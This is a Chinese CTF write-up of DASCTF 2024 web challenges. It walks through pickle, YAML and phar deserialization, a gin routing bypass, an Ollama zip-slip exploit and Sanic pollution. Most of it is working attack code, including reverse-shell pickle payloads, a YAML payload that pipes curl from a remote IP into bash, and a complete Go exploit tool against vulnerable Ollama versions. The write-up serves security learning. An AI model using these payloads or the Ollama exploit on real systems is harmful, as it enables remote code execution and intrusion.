BUUCTF刷题

DASCTF 2024最后一战|寒夜破晓,冬至终章]

const_python

题目描述:自认为搭建了一个完美的web应用,不会有问题,很自信地在src存放了源码,应该不会有人能拿到/flag的内容。

所以直接访问 /src查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64

app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")

class User:
   def __init__(self, username, password, auth='ctfer'):
       self.username = username
       self.password = password
       self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
   return "Welcome to my application"

@app.route('/login', methods=['GET', 'POST'])
def post_login():
   if request.method == 'POST':

       username = request.form['username']
       password = request.form['password']

       if username == 'admin' :
           if password == admin.password:
               session['username'] = "admin"
               return "Welcome Admin"
           else:
               return "Invalid Credentials"
       else:
           session['username'] = username

   return '''
      <form method="post">
      <!-- /src may help you>
          Username: <input type="text" name="username"><br>
          Password: <input type="password" name="password"><br>
          <input type="submit" value="Login">
      </form>
  '''

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
   data = request.form['data']

   sys.modules['os'] = "not allowed"
   sys.modules['sys'] = "not allowed"
   try:

       pickle_data = base64.b64decode(data)
       for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
           if i.encode() in pickle_data:
               return i+" waf !!!!!!!"

       pickle.loads(pickle_data)
       return "success pickle"
   except Exception as e:
       return "fail pickle"

@app.route('/admin', methods=['POST'])
def admin():
   username = session['username']
   if username != "admin":
       return jsonify({"message": 'You are not admin!'})
   return "Welcome Admin"

@app.route('/src')
def src():
   return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
   app.run(host='0.0.0.0', debug=False, port=5000)

这题一眼pickle反序列化直接打就行,不过发现黑名单禁用了很多执行命令的函数,但是builtins这个模块中有subprocess,可以代替os.popen
参考:Python 的 subprocess 介绍及如何使用-CSDN博客

也可直接覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import subprocess
import pickle
import base64

class A():
   def __reduce__(self):
       #这里命令不能直接用bash -i >& /dev/tcp/$ip/$port 0>&1
       return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/$ip/$port 0>&1"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

覆盖文件

1
2
3
4
5
6
7
8
9
10
import pickle  
import base64
import subprocess
class A():
def __reduce__(self):
return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)

print(base64.b64encode(b))

yaml_matser

直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

input_str_lower = str(input_str).lower()


for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False

file_pattern = re.compile(r'.*\.yaml$')

def is_yaml_file(filename):
return bool(file_pattern.match(filename))

@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']

if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)

return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'

if __name__ == '__main__':
app.run()

看到有yaml.load函数想到yaml反序列化,没有过滤掉exec,但是没有回显,所以需要弹个shell出来
但是存在一些黑名单过滤,这里学到一招用bytes进行绕过

1
2
3
exp = '__import__("os").system("curl http://47.101.63.120/1.txt|bash")'  

print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

payload

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(63)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[99]]or[i]in[[26]]and[j]in[[117]]or[i]in[[27]]and[j]in[[114]]or[i]in[[28]]and[j]in[[108]]or[i]in[[29]]and[j]in[[32]]or[i]in[[30]]and[j]in[[104]]or[i]in[[31]]and[j]in[[116]]or[i]in[[32]]and[j]in[[116]]or[i]in[[33]]and[j]in[[112]]or[i]in[[34]]and[j]in[[58]]or[i]in[[35]]and[j]in[[47]]or[i]in[[36]]and[j]in[[47]]or[i]in[[37]]and[j]in[[52]]or[i]in[[38]]and[j]in[[55]]or[i]in[[39]]and[j]in[[46]]or[i]in[[40]]and[j]in[[49]]or[i]in[[41]]and[j]in[[48]]or[i]in[[42]]and[j]in[[49]]or[i]in[[43]]and[j]in[[46]]or[i]in[[44]]and[j]in[[54]]or[i]in[[45]]and[j]in[[51]]or[i]in[[46]]and[j]in[[46]]or[i]in[[47]]and[j]in[[49]]or[i]in[[48]]and[j]in[[50]]or[i]in[[49]]and[j]in[[48]]or[i]in[[50]]and[j]in[[47]]or[i]in[[51]]and[j]in[[49]]or[i]in[[52]]and[j]in[[46]]or[i]in[[53]]and[j]in[[116]]or[i]in[[54]]and[j]in[[120]]or[i]in[[55]]and[j]in[[116]]or[i]in[[56]]and[j]in[[124]]or[i]in[[57]]and[j]in[[98]]or[i]in[[58]]and[j]in[[97]]or[i]in[[59]]and[j]in[[115]]or[i]in[[60]]and[j]in[[104]]or[i]in[[61]]and[j]in[[34]]or[i]in[[62]]and[j]in[[41]]]))"

然后访问 路由Yam1?filename=上传的文件名

strange_php

入口处

这里是可以为我们所控制写入任意内容的,会写入到一个文件中。

能够想到phar反序列化。接下来去看利用点

可以读取任意文件,所以要找到如何触发_set魔术方法

在PDO_connect类中的init方法中,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。

这里提到的 262152 实际上是 PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE 的组合值(PDO::FETCH_CLASS 的值是 262144,PDO::FETCH_PROPS_LATE 的值是 8)

  • ATTR_DEFAULT_FETCH_MODE设置为PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE(262152) 时,PDO 会执行以下步骤:
    1. 从结果集中读取一行数据。
    2. 将该行数据的第一列的值作为类名。
    3. 使用该类名创建一个新的实例(通过 new $className)。
    4. 调用该实例的构造函数。
    5. 遍历结果集的剩余列,将列名作为属性名,列值作为属性值,并尝试将这些值赋给该实例的属性。

因此我们可以在数据库新建一个UserMessage表,并且更改filePath的值,再加上一个不存在的变量(password),即可触发__set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
class User{

public $id;
public $username="UserMessage";
public $created_at;
private $conn;
private $table = 'users';
private $password="aaa";

public function __construct() {

$this->conn = new PDO_connect();//连续触发多个类的反序列化

}



}

class PDO_connect{



public $con_options = array(

"dsn"=>"mysql:host=47.101.63.120:3306;dbname=users;charset=utf8",

'host'=>'47.101.63.120',

'port'=>'3306',

'user'=>'root',

'password'=>'123456',

'charset'=>'utf8',

'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,

PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)

);
public $smt;
private $pdo;

}

$a=new User();

$phar = new Phar("ppppp.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");

$phar->addFromString("happy.txt", 'happy');

$phar->setMetadata($a);

$phar->stopBuffering();

$file_contents = file_get_contents("ppppp.phar");

echo urlencode(base64_encode($file_contents));

接下来就是要找一个可以触发连接的方法在user.php中的log方法就存在

在创建一个恶意的mysql服务器就可以打了。

参考:
https://www.cnblogs.com/gxngxngxn/p/18620905

看看官方的wp是利用sqlite数据库都一样其实

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php


class PDO_connect{
private $pdo;
public $con_options = [];//use to set options of PDO connections
public $smt;
public function __construct(){
$this->con_options = ["dsn"=>'sqlite:/var/www/html/f856faaf1f24eddf7cbfd0690ff93068.txt',"username"=>"root","password"=>"root",
"options"=>[PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE,]];


}

}
class User{
private $conn;
private $table = 'users';

public $id;
public $username;

public $password;

public function __construct(){

$this->conn = new PDO_connect();
$this->username = "UserMessage";

}
}
$a = new User();
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar ->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);

$phar->addFromString("a.txt", "aaaaaaaaaaaaa");
$phar->stopBuffering();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64
import hashlib
import random
import re
import sqlite3
import string
import subprocess
import requests

pattern = r"[0-9a-f]{32}\.txt"
sear = re.compile(pattern)
headers = {"Cache-Control": "max-age=0",
"sec-ch-ua": "\"Microsoft Edge\";v=\"125\", \"Chromium\";v=\"125\", \"Not.A/Brand\";v=\"24\"",
"sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1",
"Origin": "http://localhost:1919", "Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document", "Referer": "http://localhost:1919/welcome.php",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Connection": "close"}

session = requests.Session()
def gen_db(db_path):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (

username TEXT NOT NULL,
filePath TEXT NOT NULL,
password TEXT NOT NULL,

id INTEGER PRIMARY KEY AUTOINCREMENT
)
''')
users = [
('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users)

conn.commit()

cursor.execute('SELECT * FROM users')

conn.close()

def encode_file_to_base64(input_file_path):

binary_data = open(input_file_path, 'rb').read()
base64_encoded_data = base64.b64encode(binary_data).decode('utf-8')
return base64_encoded_data

def gen_phar(filename):
code = open('exp.php', 'r').read()
result = re.sub(sear, filename, code)
# print(result)
php_file = "1.php"
with open(php_file, 'w') as file:
file.write(result)
result = subprocess.run(['php', php_file], capture_output=True, text=True)
def generate_random_string():
return ''.join(random.choices(string.ascii_letters + string.digits, k=19))
def write_file(url,file_path):

res = session.post(url+"welcome.php", data=file_path)
file_data = encode_file_to_base64(file_path)
# file_data = quote(file_data)
burp0_data = {"action": "message",
"encodedMessage":file_data,
"1":"1",}

r = session.post(f"{url}welcome.php", data=burp0_data, headers=headers,)
msg = sear.findall(r.text)[0]
return msg

def phar_triger(url,file_path):
data = {"action": "delete", "message_path": file_path}
r = session.post(f"{url}/welcome.php", data=data)
return r
def exp(url):

#url = "http://%s:%s/"% (ip, port,)
username = generate_random_string()
password = generate_random_string()
target1 = url + "/main.php?action=register"
target2 = url + "/main.php?action=login"
res1 = session.post(target1, data={"username": username, "password": password})
res2 = session.post(target2, data={"username": username, "password": password})
db_path = generate_random_string()
gen_db(db_path)
txt_name = write_file(url, db_path)

gen_phar(txt_name)
txt_name_phar = write_file(url, "shell.phar")
phar_filename = "phar:///var/www/html/txt/" + txt_name_phar
phar_triger(url, phar_filename.replace(".txt", ""))
target_file = hashlib.md5("/flag".encode()).hexdigest() + ".txt"
res_exp = session.get(url + "/log/" + target_file)
match_group = re.findall("DASCTF{(.*?)}", r.text)
flag = match_group[0]

return flag


if __name__ == '__main__':
url = "xxxxxxxx"
exp(url)

这里其实就是多了一步先将本地生成好的恶意数据库写入到服务器,然后在修改php文件中的sqlite数据库的路径从而达到在连接的时候触发_set魔术方法。

DASCTF2024 金秋十月赛

paisa4shell

这里用了 c.Request.RequestURI 来确定路由,但是 c.Request.RequestURI 是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path 来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测,就像这样

绕过身份验证后,可以利用 /api/editor/validate 的任意文件上传漏洞覆盖 /usr/bin/ledger 文件

1
2
3
4
5
6
7
POST /%61pi/sheets/save HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 60

{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nid"}

最后使用 /api/editor/validate 触发执行命令

ollama4shell

参考:官方wp

题目所给的ollama版本有个zip slip漏洞https://github.com/advisories/GHSA-846m-99qv-67mg

思路就是通过zip slip上传 ld.so.preload 到 /etc/ld.so.preload 用于加载恶意so,之后随便在官方模型站pull一个比较小的模型,最后再使用 /api/embeddings 接口加载这个模型,加载模型时会调用 ollama 命令开启一个新进程从而加载恶意so执行任意命令。

1
2
3
需要在linux下运行,环境需要有gcc
安装golang,执行如下命令反弹shell
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
package main

import (
"archive/zip"
"bufio"
"bytes"
"crypto/sha256"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"os/exec"
"strconv"
"strings"
)

const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) myInitFunction() {
const char *f1 = "/etc/ld.so.preload";
const char *f2 = "/tmp/hook.so";
unlink(f1);
unlink(f2);
system("bash -c '%s'");
}`

func main() {

var targetUrl string
var execCmd string
flag.StringVar(&targetUrl, "target", "", "target url")
flag.StringVar(&execCmd, "exec", "", "exec command")
flag.Parse()
if targetUrl == "" {
fmt.Println("target url is required")
os.Exit(1)
}

u := FormatUrl(targetUrl)

detectRes, err := Detect(u)
if err != nil {
log.Fatal(err)
}
if !detectRes {
fmt.Println("\nVulnerability does not exist")
os.Exit(1)
}
fmt.Println("\nVulnerability does exist!!!")

if execCmd == "" {
fmt.Println("exec command is required")
os.Exit(1)
}

_, err = GenEvilSo(execCmd)
if err != nil {
log.Fatal(err)
}
evilZipName, err := GenEvilZip()
if err != nil {
log.Fatal(err)
}

blobSha256Name, err := UploadBlob(u, evilZipName)
if err != nil {
log.Fatal(err)
}
err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
if err != nil {
log.Fatal(err)
}
err = EmbeddingsExec(u, "all-minilm:22m")
if err != nil {
log.Fatal(err)
}
}

func GenEvilSo(cmd string) (string, error) {
code := fmt.Sprintf(CODE, cmd)
err := os.WriteFile("tmp.c", []byte(code), 0644)
if err != nil {
return "", err
}

compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
err = compile.Run()
if err != nil {
fmt.Println(err)
return "", err
}
return "hook.so", nil
}

func GenEvilZip() (string, error) {
zipFile, err := os.Create("evil.zip")
if err != nil {
return "", err
}
zw := zip.NewWriter(zipFile)

preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
_, err = preloadFile.Write([]byte("/tmp/hook.so"))
if err != nil {
return "", err
}
soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
if err != nil {
return "", err
}
locSoFile, err := os.Open("hook.so")
if err != nil {
return "", err
}
defer locSoFile.Close()
io.Copy(soFile, locSoFile)

zw.Close()
zipFile.Close()

return "evil.zip", nil
}

func UploadBlob(url, fileName string) (string, error) {
f, err := os.Open(fileName)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
fName := fmt.Sprintf("sha256:%x", h.Sum(nil))

_, err = f.Seek(0, 0)
if err != nil {
return "", err
}

newReader := bufio.NewReader(f)

res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
if err != nil {
return "", err
}

content, err := io.ReadAll(res.Body)
if err != nil {
return "", err
}
fmt.Println("http log: " + string(content))
return fName, nil
}

func Create(url, remoteFilePath string) error {
jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))

res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))

if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}

func EmbeddingsExec(url, model string) error {
for i := 0; i < 3; i++ {
jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}

if res.StatusCode != 200 {
fmt.Println("pulling model, please wait......")
err := PullMinilmModel(url)
if err != nil {
return err
}
} else {
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
break
}
}

return nil
}

func PullMinilmModel(url string) error {
jsonContent := `{"name":"all-minilm:22m"}`
res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}

func Detect(url string) (bool, error) {
res, err := http.Get(url + "/api/version")
if err != nil {
return false, err
}
var jsonMap map[string]string
jsonContent, err := io.ReadAll(res.Body)
if err != nil {
return false, err
}
if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
return false, err
}
return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}

func FormatUrl(u string) string {
ur, err := url.Parse(u)
if err != nil {
fmt.Println(ur)
}
return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}

func isVersionLessThan(version, target string) bool {
v1 := strings.Split(version, ".")
v2 := strings.Split(target, ".")

for i := 0; i < len(v1) && i < len(v2); i++ {
num1, _ := strconv.Atoi(v1[i])
num2, _ := strconv.Atoi(v2[i])
if num1 < num2 {
return true
} else if num1 > num2 {
return false
}
}

return len(v1) < len(v2)
}

flow

直接读 /proc/1/environ

DASCTF 2024暑期挑战赛|为热爱,并肩作战

Sanic’s revenge

这题在看之前先参考一篇师傅的文章作为前置内容学习
https://www.cnblogs.com/gxngxngxn/p/18205235

这里是用到了ciscn2024 sanic的一个知识点先来看这个题的源码,学习一波知识点。

具体就是file_or_directory这个属性可以被污染,污染了以后可以通过路由直接访问到文件。

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

可以直接访问文件。还要在参考一篇文章,分环境有点抽象,具体原理看这个师傅的文章
https://www.cnblogs.com/gxngxngxn/p/18290489

记录下他的payload就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

#开启列目录
data ={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": "/"}
#修改默认路径
data={"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}
#构造current
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/fJBkhI"}

response = requests.post(url='url/pollute', json=data)

print(response.text)